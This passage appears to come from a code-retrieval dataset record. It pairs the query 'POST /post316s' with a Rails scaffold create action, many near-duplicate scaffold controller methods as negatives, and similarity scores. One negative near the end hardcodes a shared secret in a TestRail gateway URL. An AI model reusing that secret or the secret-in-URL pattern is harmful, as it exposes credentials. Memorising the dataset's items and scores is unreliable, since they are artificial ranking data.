Post183.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post183 }\n end\n end", "def show\n @post276 = Post276.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post276 }\n end\n end", "def show\n @post74 = Post74.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post74 }\n end\n end", "def show\n @post101 = Post101.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post101 }\n end\n end", "def show\n @post297 = Post297.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post297 }\n end\n end", "def show\n @post342 = Post342.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post342 }\n end\n end", "def show\n @post445 = Post445.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post445 }\n end\n end", "def show\n @post81 = Post81.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post81 }\n end\n end", "def show\n @post196 = Post196.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post196 }\n end\n end", "def show\n @post464 = Post464.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post464 }\n end\n end", "def show\n @post77 = Post77.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post77 }\n end\n end", "def show\n @post193 = Post193.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post193 }\n end\n end", "def show\n @post267 = Post267.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post267 }\n end\n end", "def show\n @post197 = Post197.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post197 }\n end\n end", "def show\n @post107 = Post107.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post107 }\n end\n end", "def show\n @post328 = Post328.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post328 }\n end\n end", "def show\n @post215 = Post215.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post215 }\n end\n end", "def show\n @post335 = Post335.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post335 }\n end\n end", "def show\n @post130 = Post130.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post130 }\n end\n end", "def show\n @post472 = Post472.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post472 }\n end\n end", "def show\n @post483 = Post483.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post483 }\n end\n end", "def show\n @post246 = Post246.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post246 }\n end\n end", "def show\n @post245 = Post245.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post245 }\n end\n end", "def show\n @post349 = Post349.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post349 }\n end\n end", "def show\n @post109 = Post109.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post109 }\n end\n end", "def show\n @post248 = Post248.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post248 }\n end\n end", "def show\n @post85 = Post85.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post85 }\n end\n end", "def show\n @post120 = Post120.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post120 }\n end\n end", "def show\n @post50 = Post50.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post50 }\n end\n end", "def show\n @post253 = Post253.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post253 }\n end\n end", "def show\n @post272 = Post272.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post272 }\n end\n end", "def show\n @post290 = Post290.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post290 }\n end\n end", "def show\n @post281 = Post281.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post281 }\n end\n end", "def show\n @post116 = Post116.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post116 }\n end\n end", "def show\n @post396 = Post396.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post396 }\n end\n end", "def show\n @post228 = Post228.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post228 }\n end\n end", "def show\n @post106 = Post106.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post106 }\n end\n end", "def show\n @post436 = Post436.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post436 }\n end\n end", "def show\n @post385 = Post385.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post385 }\n end\n end", "def show\n @post273 = Post273.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post273 }\n end\n end", "def show\n @post55 = Post55.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post55 }\n end\n end", "def show\n @post284 = Post284.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post284 }\n end\n end", "def show\n @post358 = Post358.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post358 }\n end\n end", "def show\n @post471 = Post471.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post471 }\n end\n end", "def show\n @post176 = Post176.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post176 }\n end\n end", "def show\n @post231 = Post231.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post231 }\n end\n end", "def show\n @post251 = Post251.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post251 }\n end\n end", "def show\n @post409 = Post409.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post409 }\n end\n end", "def show\n @post125 = Post125.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post125 }\n end\n end", "def show\n @post459 = Post459.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post459 }\n end\n end", "def show\n @post489 = Post489.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post489 }\n end\n end", "def show\n @post278 = Post278.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post278 }\n end\n end", "def show\n @post230 = Post230.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post230 }\n end\n end", "def show\n @post321 = Post321.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post321 }\n end\n end", "def show\n @post194 = Post194.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post194 }\n end\n end", "def show\n @post41 = Post41.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post41 }\n end\n end", "def show\n @post58 = Post58.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post58 }\n end\n end", "def show\n @post221 = Post221.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post221 }\n end\n end", "def show\n @post66 = Post66.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post66 }\n end\n end", "def show\n @post402 = Post402.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post402 }\n end\n end", "def show\n @post322 = Post322.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post322 }\n end\n end", "def show\n @post72 = Post72.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post72 }\n end\n end", "def show\n @post366 = Post366.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post366 }\n end\n end", "def show\n @post65 = Post65.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post65 }\n end\n end", "def show\n @post54 = Post54.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post54 }\n end\n end", "def show\n @post453 = Post453.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post453 }\n end\n end", "def show\n @post425 = Post425.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post425 }\n end\n end", "def show\n @post481 = Post481.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post481 }\n end\n end", "def show\n @post68 = Post68.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post68 }\n end\n end", "def show\n @post362 = Post362.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post362 }\n end\n end", "def show\n @post339 = Post339.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post339 }\n end\n end", "def show\n @post252 = Post252.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post252 }\n end\n end", "def show\n @post488 = Post488.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @post488 }\n end\n end" ]
[ "0.65667033", "0.64826024", "0.6475384", "0.6451592", "0.6415183", "0.6383217", "0.6381178", "0.63731956", "0.63688684", "0.6352993", "0.63419676", "0.63406247", "0.6333633", "0.63286227", "0.6324045", "0.6321663", "0.63183653", "0.6312433", "0.6309652", "0.63031256", "0.6301286", "0.6292762", "0.62917995", "0.62916595", "0.6289473", "0.6289294", "0.6279389", "0.62765884", "0.62760705", "0.62726945", "0.62704515", "0.6269396", "0.6264493", "0.6264148", "0.62580734", "0.62572294", "0.6256389", "0.6254026", "0.62472993", "0.62420046", "0.6241196", "0.62404835", "0.62341315", "0.6230307", "0.6227525", "0.6223015", "0.6220115", "0.6219305", "0.62188256", "0.62165904", "0.621441", "0.62053305", "0.6200682", "0.62002313", "0.61997545", "0.619932", "0.6199214", "0.6191397", "0.6185668", "0.61833924", "0.6182549", "0.6179377", "0.6176576", "0.6175455", "0.6173106", "0.61718494", "0.6168237", "0.61662847", "0.61631197", "0.6161002", "0.61600447", "0.6159164", "0.6155942", "0.61522", "0.6150079", "0.61495286", "0.6149144", "0.6148089", "0.6144907", "0.6143779", "0.6142456", "0.6137801", "0.61367536", "0.6135839", "0.61349565", "0.61341375", "0.6133203", "0.613025", "0.6130167", "0.612099", "0.61086994", "0.6106179", "0.6104114", "0.61034864", "0.610094", "0.6096173", "0.60930693", "0.6092329", "0.60909396", "0.608861" ]
0.6583203
0
GET /post316s/new GET /post316s/new.xml
def new @post316 = Post316.new respond_to do |format| format.html # new.html.erb format.xml { render :xml => @post316 } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @post306 = Post306.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post306 }\n end\n end", "def new\n @post227 = Post227.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post227 }\n end\n end", "def new\n @post101 = Post101.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post101 }\n end\n end", "def new\n @post310 = Post310.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post310 }\n end\n end", "def new\n @post156 = Post156.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post156 }\n end\n end", "def new\n @post217 = Post217.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post217 }\n end\n end", "def new\n @post57 = Post57.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post57 }\n end\n end", "def new\n @post154 = Post154.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post154 }\n end\n end", "def new\n @post181 = Post181.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post181 }\n end\n end", "def new\n @post150 = Post150.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post150 }\n end\n end", "def new\n @post295 = Post295.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post295 }\n end\n end", "def new\n @post149 = Post149.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post149 }\n end\n end", "def new\n @post168 = Post168.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post168 }\n end\n end", "def new\n @post260 = Post260.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post260 }\n end\n end", "def new\n @post297 = Post297.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post297 }\n end\n end", "def new\n @post197 = Post197.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post197 }\n end\n end", "def new\n @post78 = Post78.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post78 }\n end\n end", "def new\n @post350 = Post350.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post350 }\n end\n end", "def new\n @post275 = Post275.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post275 }\n end\n end", "def new\n @post215 = Post215.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post215 }\n end\n end", "def new\n @post110 = Post110.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post110 }\n end\n end", "def new\n @post328 = Post328.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post328 }\n end\n end", "def new\n @post342 = Post342.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post342 }\n end\n end", "def new\n @post184 = Post184.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post184 }\n end\n end", "def new\n @post182 = Post182.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post182 }\n end\n end", "def new\n @post55 = Post55.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post55 }\n end\n end", "def new\n @post105 = Post105.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post105 }\n end\n end", "def new\n @post50 = Post50.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post50 }\n end\n end", "def new\n @post139 = Post139.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post139 }\n end\n end", "def new\n @post74 = Post74.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post74 }\n end\n end", "def new\n @post318 = Post318.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post318 }\n end\n end", "def new\n @post157 = Post157.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post157 }\n end\n end", "def new\n @post109 = Post109.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post109 }\n end\n end", "def new\n @post183 = Post183.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post183 }\n end\n end", "def new\n @post75 = Post75.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post75 }\n end\n end", "def new\n @post483 = Post483.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post483 }\n end\n end", "def new\n @post349 = Post349.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post349 }\n end\n end", "def new\n @post106 = Post106.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post106 }\n end\n end", "def new\n @post409 = Post409.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post409 }\n end\n end", "def new\n @post130 = Post130.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post130 }\n end\n end", "def new\n @post272 = Post272.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post272 }\n end\n end", "def new\n @post335 = Post335.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post335 }\n end\n end", "def new\n @post267 = Post267.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post267 }\n end\n end", "def new\n @post445 = Post445.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post445 }\n end\n end", "def new\n @post174 = Post174.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post174 }\n end\n end", "def new\n @post276 = Post276.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post276 }\n end\n end", "def new\n @post107 = Post107.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post107 }\n end\n end", "def new\n @post246 = Post246.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post246 }\n end\n end", "def new\n @post332 = Post332.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post332 }\n end\n end", "def new\n @post257 = Post257.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post257 }\n end\n end", "def new\n @post245 = Post245.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post245 }\n end\n end", "def new\n @post284 = Post284.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post284 }\n end\n end", "def new\n @post321 = Post321.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post321 }\n end\n end", "def new\n @post120 = Post120.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post120 }\n end\n end", "def new\n @post116 = Post116.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post116 }\n end\n end", "def new\n @post54 = Post54.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post54 }\n end\n end", "def new\n @post196 = Post196.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post196 }\n end\n end", "def new\n @post290 = Post290.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post290 }\n end\n end", "def new\n @post85 = Post85.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post85 }\n end\n end", "def new\n @post230 = Post230.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post230 }\n end\n end", "def new\n @post228 = Post228.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post228 }\n end\n end", "def new\n @post193 = Post193.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post193 }\n end\n end", "def new\n @post176 = Post176.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post176 }\n end\n end", "def new\n @post58 = Post58.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post58 }\n end\n end", "def new\n @post273 = Post273.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post273 }\n end\n end", "def new\n @post77 = Post77.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post77 }\n end\n end", "def new\n @post248 = Post248.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post248 }\n end\n end", "def new\n @post489 = Post489.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post489 }\n end\n end", "def new\n @post453 = Post453.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post453 }\n end\n end", "def new\n @post117 = Post117.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post117 }\n end\n end", "def new\n @post278 = Post278.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post278 }\n end\n end", "def new\n @post253 = Post253.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post253 }\n end\n end", "def new\n @post464 = Post464.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post464 }\n end\n end", "def new\n @post99 = Post99.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post99 }\n end\n end", "def new\n @post377 = Post377.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post377 }\n end\n end", "def new\n @post281 = Post281.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post281 }\n end\n end", "def new\n @post125 = Post125.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post125 }\n end\n end", "def new\n @post358 = Post358.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post358 }\n end\n end", "def new\n @post305 = Post305.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post305 }\n end\n end", "def new\n @post81 = Post81.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post81 }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => new_vurl }\n end\n end", "def new\n @post459 = Post459.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post459 }\n end\n end", "def new\n @post10 = Post10.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post10 }\n end\n end", "def new\n @post133 = Post133.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post133 }\n end\n end", "def new\n @post436 = Post436.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post436 }\n end\n end", "def new\n @post470 = Post470.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post470 }\n end\n end", "def new\n @post194 = Post194.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post194 }\n end\n end", "def new\n @post322 = Post322.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post322 }\n end\n end", "def new\n @post221 = Post221.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post221 }\n end\n end", "def new\n @post366 = Post366.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post366 }\n end\n end", "def new\n @post143 = Post143.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post143 }\n end\n end", "def new\n @post41 = Post41.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post41 }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post }\n end\n end", "def new\n @post472 = Post472.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post472 }\n end\n end", "def new\n @post425 = Post425.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post425 }\n end\n end", "def new\n @post326 = Post326.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post326 }\n end\n end", "def new\n @post385 = Post385.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post385 }\n end\n end", "def new\n @post134 = Post134.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post134 }\n end\n end", "def new\n @post191 = Post191.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post191 }\n end\n end", "def new\n @post231 = Post231.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @post231 }\n end\n end" ]
[ "0.7530846", "0.7428117", "0.7421778", "0.7418029", "0.74089366", "0.74083734", "0.7403376", "0.7396353", "0.7396012", "0.73938376", "0.7392765", "0.739177", "0.73851305", "0.73619413", "0.7353478", "0.73423994", "0.7336948", "0.7336151", "0.73351943", "0.7330803", "0.7321566", "0.7318745", "0.7312947", "0.73111683", "0.73100954", "0.73100114", "0.7308883", "0.730667", "0.72896135", "0.72838265", "0.7283265", "0.7283197", "0.7283129", "0.7280516", "0.7279524", "0.7277346", "0.72708887", "0.72636163", "0.726063", "0.72586256", "0.72549695", "0.7253067", "0.7249339", "0.72469145", "0.72464824", "0.72431296", "0.72428435", "0.7234888", "0.72321934", "0.7232104", "0.72313166", "0.72312355", "0.72274077", "0.72244555", "0.7224127", "0.7224069", "0.7224013", "0.72229594", "0.7215889", "0.72147834", "0.7214024", "0.7210778", "0.7208869", "0.7206956", "0.7206951", "0.720501", "0.720458", "0.7198045", "0.7197559", "0.71974736", "0.7196246", "0.7195531", "0.7194587", "0.71943444", "0.7190038", "0.71890193", "0.7185098", "0.7183296", "0.71766144", "0.71764517", "0.7174956", "0.717229", "0.7171794", "0.7166869", "0.71664", "0.716004", "0.71560746", "0.71551746", "0.7153829", "0.71520567", "0.7148467", "0.7144121", "0.71392363", "0.7138173", "0.7136717", "0.71359795", "0.7133526", "0.71301115", "0.7129351", "0.71279633" ]
0.7545023
0
POST /post316s POST /post316s.xml
def create @post316 = Post316.new(params[:post316]) respond_to do |format| if @post316.save format.html { redirect_to(@post316, :notice => 'Post316 was successfully created.') } format.xml { render :xml => @post316, :status => :created, :location => @post316 } else format.html { render :action => "new" } format.xml { render :xml => @post316.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create\n @post154 = Post154.new(params[:post154])\n\n respond_to do |format|\n if @post154.save\n format.html { redirect_to(@post154, :notice => 'Post154 was successfully created.') }\n format.xml { render :xml => @post154, :status => :created, :location => @post154 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post154.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post168 = Post168.new(params[:post168])\n\n respond_to do |format|\n if @post168.save\n format.html { redirect_to(@post168, :notice => 'Post168 was successfully created.') }\n format.xml { render :xml => @post168, :status => :created, :location => @post168 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post168.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post156 = Post156.new(params[:post156])\n\n respond_to do |format|\n if @post156.save\n format.html { redirect_to(@post156, :notice => 'Post156 was successfully created.') }\n format.xml { render :xml => @post156, :status => :created, :location => @post156 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post156.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post157 = Post157.new(params[:post157])\n\n respond_to do |format|\n if @post157.save\n format.html { redirect_to(@post157, :notice => 'Post157 was successfully created.') }\n format.xml { render :xml => @post157, :status => :created, :location => @post157 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post157.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post306 = Post306.new(params[:post306])\n\n respond_to do |format|\n if @post306.save\n format.html { redirect_to(@post306, :notice => 'Post306 was successfully created.') }\n format.xml { render :xml => @post306, :status => :created, :location => @post306 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post306.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post174 = Post174.new(params[:post174])\n\n respond_to do |format|\n if @post174.save\n format.html { redirect_to(@post174, :notice => 'Post174 was successfully created.') }\n format.xml { render :xml => @post174, :status => :created, :location => @post174 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post174.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post310 = Post310.new(params[:post310])\n\n respond_to do |format|\n if @post310.save\n format.html { redirect_to(@post310, :notice => 'Post310 was successfully created.') }\n format.xml { render :xml => @post310, :status => :created, :location => @post310 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post310.errors, :status => :unprocessable_entity }\n end\n end\n end", "def POST; end", "def create\n @post318 = Post318.new(params[:post318])\n\n respond_to do |format|\n if @post318.save\n format.html { redirect_to(@post318, :notice => 'Post318 was successfully created.') }\n format.xml { render :xml => @post318, :status => :created, :location => @post318 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post318.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post260 = Post260.new(params[:post260])\n\n respond_to do |format|\n if @post260.save\n format.html { redirect_to(@post260, :notice => 'Post260 was successfully created.') }\n format.xml { render :xml => @post260, :status => :created, :location => @post260 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post260.errors, :status => :unprocessable_entity }\n end\n end\n end", "def create\n @post150 = Post150.new(params[:post150])\n\n respond_to do |format|\n if @post150.save\n format.html { redirect_to(@post150, :notice => 'Post150 was successfully created.') }\n format.xml { render :xml => @post150, :status => :created, :location => @post150 }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @post150.errors, :status => :unprocessable_entity }\n end\n end\n end", "def posttestrail(runId, caseId, statusId, versionId, elapsedseconds)\r\n\r\n uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=#{runId}&case_id=#{caseId}&status_id=#{statusId}&version=#{versionId}&elapsed_seconds=#{elapsedseconds}&sharedSecret=thI5iSourSHAREDsecret\"\r\n #uri = \"http://testrailgw.jupiter.bbc.co.uk/?action=add_result_for_case&run_id=110324&case_id=665022&status_id=1&version=Test&elapsed_seconds=12&sharedSecret=thI5iSourSHAREDsecret\"\r\n\r\n uri = uri.gsub(\" \", 